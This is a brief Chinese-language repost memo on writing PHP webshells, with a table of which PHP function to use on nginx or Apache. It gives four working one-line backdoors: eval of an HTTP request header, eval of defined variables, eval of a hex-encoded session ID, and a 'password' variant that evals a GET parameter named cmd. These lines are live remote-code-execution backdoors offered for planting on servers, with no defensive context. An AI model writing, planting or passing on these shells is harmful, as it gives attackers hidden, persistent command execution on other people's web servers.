轉載備忘:
get_defined_vars()、getallheaders()是兩個特性函數,我們可以通過這兩個函數來構造我們的webshell。 前幾天看到的,一直忘記寫,填坑。
環境 | 函數 | 用法 |
nginx | get_defined_vars() | 返回由所有已定義變量所組成的數組 |
apache | getallheaders() | 獲取全部 HTTP 請求頭信息 |
Apache:
<?php eval(next(getallheaders())); ?>
Apache/Nginx通用
<?php eval(implode(reset(get_defined_vars()))); ?>
另外一種通過執行偽造的sessionid值,進行任意代碼執行。
<?php eval(hex2bin(session_id(session_start()))); ?>
706870696e666f28293b這個是phpinfo();的hex編碼。
給SHELL加密碼
<?php eval(get_defined_vars()['_GET']['cmd']);?>